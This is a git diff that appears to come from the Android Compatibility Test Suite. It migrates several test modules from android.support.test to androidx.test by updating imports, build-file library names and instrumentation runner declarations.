diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
index b667271..0f68a6f 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
@@ -25,7 +25,7 @@
</application>
<uses-permission android:name="android.permission.INTERNET" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.net.config.cts.CtsNetSecConfigBasicDebugEnabledTestCases"
android:label="">
<meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
index 4a40d2a..607e8a1 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
@@ -21,8 +21,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- android-support-test
+ ctstestrunner-axt \
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
index cc67cca..756c0ed 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
<uses-permission android:name="android.permission.INTERNET" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.net.config.cts.CtsNetSecConfigDownloadManagerTestCases"
android:label="">
<meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
index 3d66c53..0898ddb 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
index bf6e369..4f515e4 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
<uses-permission android:name="android.permission.INTERNET" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.net.config.cts.CtsNetSecConfigInvalidPinTestCases"
android:label="">
<meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
index e96ae6a..50a579e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
index 75247d3..29b0784 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
<uses-permission android:name="android.permission.INTERNET" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.net.config.cts.CtsNetSecConfigNestedDomainConfigTestCases"
android:label="">
<meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
index 48bbfaf..8feb069 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
@@ -21,8 +21,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- android-support-test
+ ctstestrunner-axt \
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := \
org.apache.http.legacy \
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
index 4884458..387d8f7 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
<uses-permission android:name="android.permission.INTERNET" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.net.config.cts.CtsNetSecConfigResourcesSrcTestCases"
android:label="">
<meta-data android:name="listener"
diff --git a/tests/tests/notificationlegacy/Android.mk b/tests/tests/notificationlegacy/Android.mk
index c1fb3fa..2dd70aa 100644
--- a/tests/tests/notificationlegacy/Android.mk
+++ b/tests/tests/notificationlegacy/Android.mk
@@ -19,7 +19,7 @@
LOCAL_PACKAGE_NAME := CtsLegacyNotificationTestCases
LOCAL_PRIVATE_PLATFORM_APIS := true
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
# don't include this package in any target
LOCAL_MODULE_TAGS := optional
@@ -30,8 +30,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- android-support-test \
+ ctstestrunner-axt \
+ androidx.test.rules \
junit
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/notificationlegacy/AndroidManifest.xml b/tests/tests/notificationlegacy/AndroidManifest.xml
index dd96eac..f928c3e 100644
--- a/tests/tests/notificationlegacy/AndroidManifest.xml
+++ b/tests/tests/notificationlegacy/AndroidManifest.xml
@@ -51,7 +51,7 @@
</service>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.app.notification.legacy.cts"
android:label="CTS tests for legacy notification behavior">
<meta-data android:name="listener"
diff --git a/tests/tests/notificationlegacy/AndroidTest.xml b/tests/tests/notificationlegacy/AndroidTest.xml
index 3a2a493..690766c 100644
--- a/tests/tests/notificationlegacy/AndroidTest.xml
+++ b/tests/tests/notificationlegacy/AndroidTest.xml
@@ -21,7 +21,7 @@
<option name="test-file-name" value="CtsLegacyNotificationTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="runner" value="android.support.test.runner.AndroidJUnitRunner" />
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
<option name="package" value="android.app.notification.legacy.cts" />
<option name="runtime-hint" value="1m0s" />
<option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
index 7a172e5..2e54d92 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
@@ -32,11 +32,12 @@
import android.content.Context;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.ArraySet;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import junit.framework.Assert;
import org.junit.After;
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index 528d66f..ec9a520 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -16,7 +16,6 @@
package android.app.notification.legacy.cts;
-import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_AMBIENT;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_FULL_SCREEN_INTENT;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_LIGHTS;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_NOTIFICATION_LIST;
@@ -39,10 +38,9 @@
import android.content.Intent;
import android.os.ParcelFileDescriptor;
import android.provider.Telephony.Threads;
-import android.service.notification.NotificationListenerService;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import junit.framework.Assert;
diff --git a/tests/tests/opengl/Android.mk b/tests/tests/opengl/Android.mk
index 03d6083..0b75847 100644
--- a/tests/tests/opengl/Android.mk
+++ b/tests/tests/opengl/Android.mk
@@ -29,7 +29,7 @@
LOCAL_JNI_SHARED_LIBRARIES := libopengltest_jni
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/opengl/AndroidManifest.xml b/tests/tests/opengl/AndroidManifest.xml
index c16f25a..7b645aa 100644
--- a/tests/tests/opengl/AndroidManifest.xml
+++ b/tests/tests/opengl/AndroidManifest.xml
@@ -21,7 +21,7 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-feature android:glEsVersion="0x00020000"/>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.opengl.cts" >
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
index 8d596b4..80aaf00 100644
--- a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
@@ -16,14 +16,6 @@
package android.opengl.cts;
-import android.support.test.filters.SmallTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.BlockJUnit4ClassRunner;
-
-import java.nio.Buffer;
-import java.nio.ByteBuffer;
-
import static android.opengl.GLES30.GL_BUFFER_MAP_POINTER;
import static android.opengl.GLES30.GL_DYNAMIC_READ;
import static android.opengl.GLES30.GL_MAP_READ_BIT;
@@ -35,9 +27,19 @@
import static android.opengl.GLES30.glGetBufferPointerv;
import static android.opengl.GLES30.glMapBufferRange;
import static android.opengl.GLES30.glUnmapBuffer;
+
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.BlockJUnit4ClassRunner;
+
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+
/**
* Tests for functions that return a ByteBuffer.
*/
diff --git a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureTest.java b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureTest.java
index 137c8d4..255c55d 100644
--- a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertTrue;
import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Ignore;
import org.junit.Rule;
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
index 95ed618..3e5565e 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
@@ -20,10 +20,11 @@
import android.app.Instrumentation;
import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglContextTest.java b/tests/tests/opengl/src/android/opengl/cts/EglContextTest.java
index 3cfd2d5..81bbcf2 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglContextTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglContextTest.java
@@ -19,8 +19,9 @@
import android.opengl.EGL14;
import android.opengl.EGLContext;
import android.opengl.EGLDisplay;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglSurfacesTest.java b/tests/tests/opengl/src/android/opengl/cts/EglSurfacesTest.java
index c909eeb..3030052 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglSurfacesTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglSurfacesTest.java
@@ -16,9 +16,13 @@
package android.opengl.cts;
+import static junit.framework.Assert.fail;
+
import android.opengl.EGL14;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -27,8 +31,6 @@
import javax.microedition.khronos.egl.EGLContext;
import javax.microedition.khronos.egl.EGLDisplay;
-import static junit.framework.Assert.fail;
-
/**
* Tests using EGL surfaces.
*/
diff --git a/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewTest.java b/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewTest.java
index 54547bd..e9dc456 100644
--- a/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewTest.java
@@ -17,12 +17,13 @@
package android.opengl.cts;
import android.opengl.GLSurfaceView;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
index c599d65..7ba9435 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
@@ -27,11 +27,12 @@
import android.content.pm.FeatureInfo;
import android.content.pm.PackageManager;
import android.content.res.Configuration;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CddTest;
import org.junit.Before;
diff --git a/tests/tests/opengl/src/android/opengl/cts/ParamsTest.java b/tests/tests/opengl/src/android/opengl/cts/ParamsTest.java
index 96fd81e..56646bc 100644
--- a/tests/tests/opengl/src/android/opengl/cts/ParamsTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/ParamsTest.java
@@ -16,17 +16,19 @@
package android.opengl.cts;
-import android.support.test.filters.SmallTest;
+import static android.opengl.GLES20.glDeleteBuffers;
+import static android.opengl.GLES30.glGenBuffers;
+
+import static org.junit.Assert.assertTrue;
+
+import androidx.test.filters.SmallTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.BlockJUnit4ClassRunner;
import java.nio.IntBuffer;
-import static android.opengl.GLES20.glDeleteBuffers;
-import static android.opengl.GLES30.glGenBuffers;
-import static org.junit.Assert.assertTrue;
-
/**
* Tests for parameters validation.
*/
diff --git a/tests/tests/openglperf/Android.mk b/tests/tests/openglperf/Android.mk
index 78a25fc..03ba008 100644
--- a/tests/tests/openglperf/Android.mk
+++ b/tests/tests/openglperf/Android.mk
@@ -24,7 +24,7 @@
# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/openglperf/AndroidManifest.xml b/tests/tests/openglperf/AndroidManifest.xml
index 9335a65..5ccdc1e 100644
--- a/tests/tests/openglperf/AndroidManifest.xml
+++ b/tests/tests/openglperf/AndroidManifest.xml
@@ -27,13 +27,13 @@
<!-- Two activities are used -->
<instrumentation
android:targetPackage="com.replica.replicaisland"
- android:name="android.support.test.runner.AndroidJUnitRunner" >
+ android:name="androidx.test.runner.AndroidJUnitRunner" >
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
</instrumentation>
<instrumentation
android:targetPackage="android.openglperf.cts"
- android:name="android.support.test.runner.AndroidJUnitRunner">
+ android:name="androidx.test.runner.AndroidJUnitRunner">
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
</instrumentation>
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 9cd0b87..cc14790 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -25,9 +25,9 @@
LOCAL_MULTILIB := both
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
truth-prebuilt \
guava \
junit
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 0644dd0..ef4893e 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -139,7 +139,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.os.cts"
android:label="CTS tests of android.os">
<meta-data android:name="listener"
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index d4ef860..7839109 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -19,19 +19,18 @@
import android.content.res.AssetManager;
import android.os.Build;
import android.platform.test.annotations.RestrictedBuildTest;
-import android.support.test.InstrumentationRegistry;
import android.util.Log;
-import java.io.BufferedReader;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.IOException;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Set;
+import androidx.test.InstrumentationRegistry;
import junit.framework.TestCase;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.util.HashSet;
+import java.util.Set;
+
public class BuildVersionTest extends TestCase {
private static final String LOG_TAG = "BuildVersionTest";
diff --git a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
index 38651d7..97db5f6 100644
--- a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
@@ -31,13 +31,14 @@
import android.os.ParcelFileDescriptor.AutoCloseInputStream;
import android.os.Parcelable;
import android.os.cts.ParcelFileDescriptorPeer.FutureCloseListener;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.system.ErrnoException;
import android.system.Os;
import android.system.OsConstants;
import android.test.MoreAsserts;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.google.common.util.concurrent.AbstractFuture;
import junit.framework.ComparisonFailure;
diff --git a/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java b/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
index 378ac09..64e4394 100644
--- a/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
+++ b/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
@@ -16,6 +16,10 @@
package android.os.cts;
+import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
+import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
+import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -25,18 +29,16 @@
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import java.io.File;
import java.util.List;
-import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
-import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
-import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
-
/**
* Tests whether all platform components that are implemented
* as APKs for various reasons are present.
diff --git a/tests/tests/os/src/android/os/cts/SharedMemoryTest.java b/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
index f21b095..fb547b3 100644
--- a/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
+++ b/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
@@ -16,15 +16,14 @@
package android.os.cts;
-import static android.support.test.InstrumentationRegistry.getContext;
import static android.system.OsConstants.PROT_READ;
import static android.system.OsConstants.PROT_WRITE;
+import static androidx.test.InstrumentationRegistry.getContext;
+
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.app.Instrumentation;
@@ -35,12 +34,13 @@
import android.os.IBinder;
import android.os.RemoteException;
import android.os.SharedMemory;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.system.ErrnoException;
import android.system.OsConstants;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.google.common.util.concurrent.AbstractFuture;
import org.junit.After;
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index dc868fc..bb0ca05 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -38,12 +38,13 @@
import android.os.strictmode.FileUriExposedViolation;
import android.os.strictmode.UntaggedSocketViolation;
import android.os.strictmode.Violation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.system.Os;
import android.system.OsConstants;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
index 50237f0..6bbd748 100644
--- a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
+++ b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
@@ -16,25 +16,21 @@
package android.os.cts;
-import android.content.Context;
-import android.media.AudioAttributes;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.fail;
+
import android.os.Parcel;
import android.os.VibrationEffect;
-import android.os.Vibrator;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.Arrays;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.fail;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class VibrationEffectTest {
diff --git a/tests/tests/os/src/android/os/cts/VibratorTest.java b/tests/tests/os/src/android/os/cts/VibratorTest.java
index 0af18fa..1c9ee1b 100644
--- a/tests/tests/os/src/android/os/cts/VibratorTest.java
+++ b/tests/tests/os/src/android/os/cts/VibratorTest.java
@@ -16,21 +16,20 @@
package android.os.cts;
-import android.content.Context;
+import static org.junit.Assert.fail;
+
import android.media.AudioAttributes;
import android.os.VibrationEffect;
import android.os.Vibrator;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.fail;
-
@RunWith(AndroidJUnit4.class)
@LargeTest
public class VibratorTest {
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
index dd8e042..946a041 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
@@ -28,7 +28,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ub-uiautomator \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
index e817233..6eabfb0 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
@@ -41,7 +41,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:functionalTest="true"
android:targetPackage="android.packageinstaller.admin.cts"
android:label="External App Sources Tests"/>
diff --git a/tests/tests/packageinstaller/externalsources/Android.mk b/tests/tests/packageinstaller/externalsources/Android.mk
index b7346b5..8c6c008 100755
--- a/tests/tests/packageinstaller/externalsources/Android.mk
+++ b/tests/tests/packageinstaller/externalsources/Android.mk
@@ -25,9 +25,9 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
- compatibility-device-util
+ compatibility-device-util-axt
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
index 728ac72..23099ab 100755
